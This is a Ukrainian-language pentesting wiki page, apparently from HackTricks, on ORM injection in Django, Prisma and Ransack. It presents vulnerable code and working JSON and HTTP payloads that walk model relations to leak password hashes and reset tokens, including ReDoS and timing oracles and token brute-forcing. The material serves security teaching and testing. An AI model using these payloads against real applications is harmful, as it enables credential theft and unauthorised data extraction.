# ORM Injection {{#include ../banners/hacktricks-training.md}} ## Django ORM (Python) У [**цьому пості**](https://www.elttam.com/blog/plormbing-your-django-orm/) пояснюється, як можна зробити Django ORM вразливим, використовуючи, наприклад, код, як показано нижче:
class ArticleView(APIView):
"""
Деякий базовий API перегляд, до якого користувачі надсилають запити для
пошуку статей
"""
def post(self, request: Request, format=None):
try:
            articles = Article.objects.filter(**request.data)
            serializer = ArticleSerializer(articles, many=True)
except Exception as e:
return Response([])
return Response(serializer.data)
Зверніть увагу, як всі request.data (які будуть у форматі json) безпосередньо передаються для **фільтрації об'єктів з бази даних**. Зловмисник може надіслати несподівані фільтри, щоб витягти більше даних, ніж очікувалося. Приклади: - **Логін:** У простому вході спробуйте витягти паролі користувачів, зареєстрованих у системі. ```json { "username": "admin", "password_startswith": "a" } ``` > [!CAUTION] > Можливо здійснити брутфорс пароля, поки він не буде витік. - **Реляційне фільтрування**: Можливо проходити через відносини, щоб витягти інформацію з колонок, які навіть не очікувалися для використання в операції. Наприклад, якщо можливо витягти статті, створені користувачем з цими відносинами: Article(`created_by`) -\[1..1]-> Author (`user`) -\[1..1]-> User(`password`). ```json { "created_by__user__password__contains": "pass" } ``` > [!CAUTION] > Можливо знайти пароль усіх користувачів, які створили статтю - **Фільтрація багато-до-багато**: У попередньому прикладі ми не могли знайти паролі користувачів, які не створили статтю. Однак, слідуючи іншим зв'язкам, це можливо. Наприклад: Article(`created_by`) -\[1..1]-> Author(`departments`) -\[0..\*]-> Department(`employees`) -\[0..\*]-> Author(`user`) -\[1..1]-> User(`password`). ```json { "created_by__departments__employees__user_startswith": "admi" } ``` > [!CAUTION] > У цьому випадку ми можемо знайти всіх користувачів у відділах користувачів, які створили статті, а потім витікати їх паролі (у попередньому json ми просто витікаємо імена користувачів, але потім можливо витікати паролі). - **Зловживання багатосторонніми відносинами групи та дозволів Django з користувачами**: Більше того, модель AbstractUser використовується для створення користувачів у Django, і за замовчуванням ця модель має деякі **багатосторонні відносини з таблицями Дозволів та Груп**. Це, по суті, стандартний спосіб **доступу до інших користувачів з одного користувача**, якщо вони в **одній групі або мають однаковий дозвіл**. ```bash # By users in the same group created_by__user__groups__user__password # By users with the same permission created_by__user__user_permissions__user__password ``` - **Обійти обмеження фільтра**: Той самий блог пропонував обійти використання деяких фільтрів, таких як `articles = Article.objects.filter(is_secret=False, **request.data)`. Можливо вивантажити статті, які мають is_secret=True, оскільки ми можемо повернутися з відношення до таблиці Article і витікати секретні статті з не секретних статей, оскільки результати об'єднуються, а поле is_secret перевіряється в не секретній статті, в той час як дані витікають з секретної статті. ```bash Article.objects.filter(is_secret=False, categories__articles__id=2) ``` > [!CAUTION] > Зловживання відносинами може дозволити обійти навіть фільтри, призначені для захисту показаних даних. - **Error/Time based via ReDoS**: У попередніх прикладах очікувалося отримати різні відповіді, якщо фільтрація працювала чи ні, щоб використовувати це як оракул. Але може бути так, що якась дія виконується в базі даних, і відповідь завжди однакова. У цьому сценарії може бути можливим викликати помилку бази даних, щоб отримати новий оракул. ```json // Non matching password { "created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$" } // ReDoS matching password (will show some error in the response or check the time) {"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"} ``` - **SQLite**: За замовчуванням не має оператора regexp (потрібно завантажити стороннє розширення) - **PostgreSQL**: Не має тайм-ауту regex за замовчуванням і менш схильний до зворотного проходження - **MariaDB**: Не має тайм-ауту regex ## Prisma ORM (NodeJS) Наступні [**трюки витягнуті з цього посту**](https://www.elttam.com/blog/plorming-your-primsa-orm/). - **Повний контроль над пошуком**:
const app = express();

app.use(express.json());

app.post('/articles/verybad', async (req, res) => {
try {
// Атакуючий має повний контроль над усіма опціями prisma
        const posts = await prisma.article.findMany(req.body.filter)
        res.json(posts);
} catch (error) {
res.json([]);
}
});
Можна побачити, що все тіло javascript передається до prisma для виконання запитів. У прикладі з оригінального посту це перевірить всі пости, створені кимось (кожен пост створюється кимось), повертаючи також інформацію про користувача цього когось (ім'я користувача, пароль...) ```json { "filter": { "include": { "createdBy": true } } } // Response [ { "id": 1, "title": "Buy Our Essential Oils", "body": "They are very healthy to drink", "published": true, "createdById": 1, "createdBy": { "email": "karen@example.com", "id": 1, "isAdmin": false, "name": "karen", "password": "super secret passphrase", "resetToken": "2eed5e80da4b7491" } }, ... ] ``` Наступний запит вибирає всі публікації, створені кимось з паролем, і повертає пароль: ```json { "filter": { "select": { "createdBy": { "select": { "password": true } } } } } // Response [ { "createdBy": { "password": "super secret passphrase" } }, ... ] ``` - **Повний контроль над умовою where**: Давайте розглянемо це, де атака може контролювати `where` умову:
app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
            where: req.query.filter as any // Вразливий до ORM Leaks
        })
res.json(posts);
} catch (error) {
res.json([]);
}
});
Можливо фільтрувати паролі користувачів безпосередньо, як: ```javascript await prisma.article.findMany({ where: { createdBy: { password: { startsWith: "pas", }, }, }, }) ``` > [!CAUTION] > Використовуючи операції, такі як `startsWith`, можливо витікати інформацію. - **Обхід фільтрації у відношеннях багато-до-багато:** ```javascript app.post("/articles", async (req, res) => { try { const query = req.body.query query.published = true const posts = await prisma.article.findMany({ where: query }) res.json(posts) } catch (error) { res.json([]) } }) ``` Можливо витікати непубліковані статті, повертаючись до багатосторонніх відносин між `Category` -\[\*..\*]-> `Article`: ```json { "query": { "categories": { "some": { "articles": { "some": { "published": false, "{articleFieldToLeak}": { "startsWith": "{testStartsWith}" } } } } } } } ``` Також можливо витягти всіх користувачів, зловживаючи деякими зворотними багатосторонніми зв'язками: ```json { "query": { "createdBy": { "departments": { "some": { "employees": { "some": { "departments": { "some": { "employees": { "some": { "departments": { "some": { "employees": { "some": { "{fieldToLeak}": { "startsWith": "{testStartsWith}" } } } } } } } } } } } } } } } } ``` - **Error/Timed queries**: У оригінальному пості ви можете прочитати дуже детальний набір тестів, проведених для знаходження оптимального payload для витоку інформації з використанням payload на основі часу. Це: ```json { "OR": [ { "NOT": {ORM_LEAK} }, {CONTAINS_LIST} ] } ``` Де `{CONTAINS_LIST}` - це список з 1000 рядків, щоб забезпечити **затримку відповіді, коли правильний leak знайдено.** ## **Ransack (Ruby)** Ці трюки були [**знайдені в цьому пості**](https://positive.security/blog/ransack-data-exfiltration)**.** > [!TIP] > **Зверніть увагу, що Ransack 4.0.0.0 тепер вимагає використання явного списку дозволених атрибутів і асоціацій для пошуку.** **Вразливий приклад:** ```ruby def index @q = Post.ransack(params[:q]) @posts = @q.result(distinct: true) end ``` Зверніть увагу, як запит буде визначено параметрами, надісланими зловмисником. Було можливим, наприклад, брутфорсити токен скидання за допомогою: ```http GET /posts?q[user_reset_password_token_start]=0 GET /posts?q[user_reset_password_token_start]=1 ... ``` Шляхом брутфорсингу та потенційних зв'язків було можливим витягти більше даних з бази даних. ## References - [https://www.elttam.com/blog/plormbing-your-django-orm/](https://www.elttam.com/blog/plormbing-your-django-orm/) - [https://www.elttam.com/blog/plorming-your-primsa-orm/](https://www.elttam.com/blog/plorming-your-primsa-orm/) - [https://positive.security/blog/ransack-data-exfiltration](https://positive.security/blog/ransack-data-exfiltration) {{#include ../banners/hacktricks-training.md}}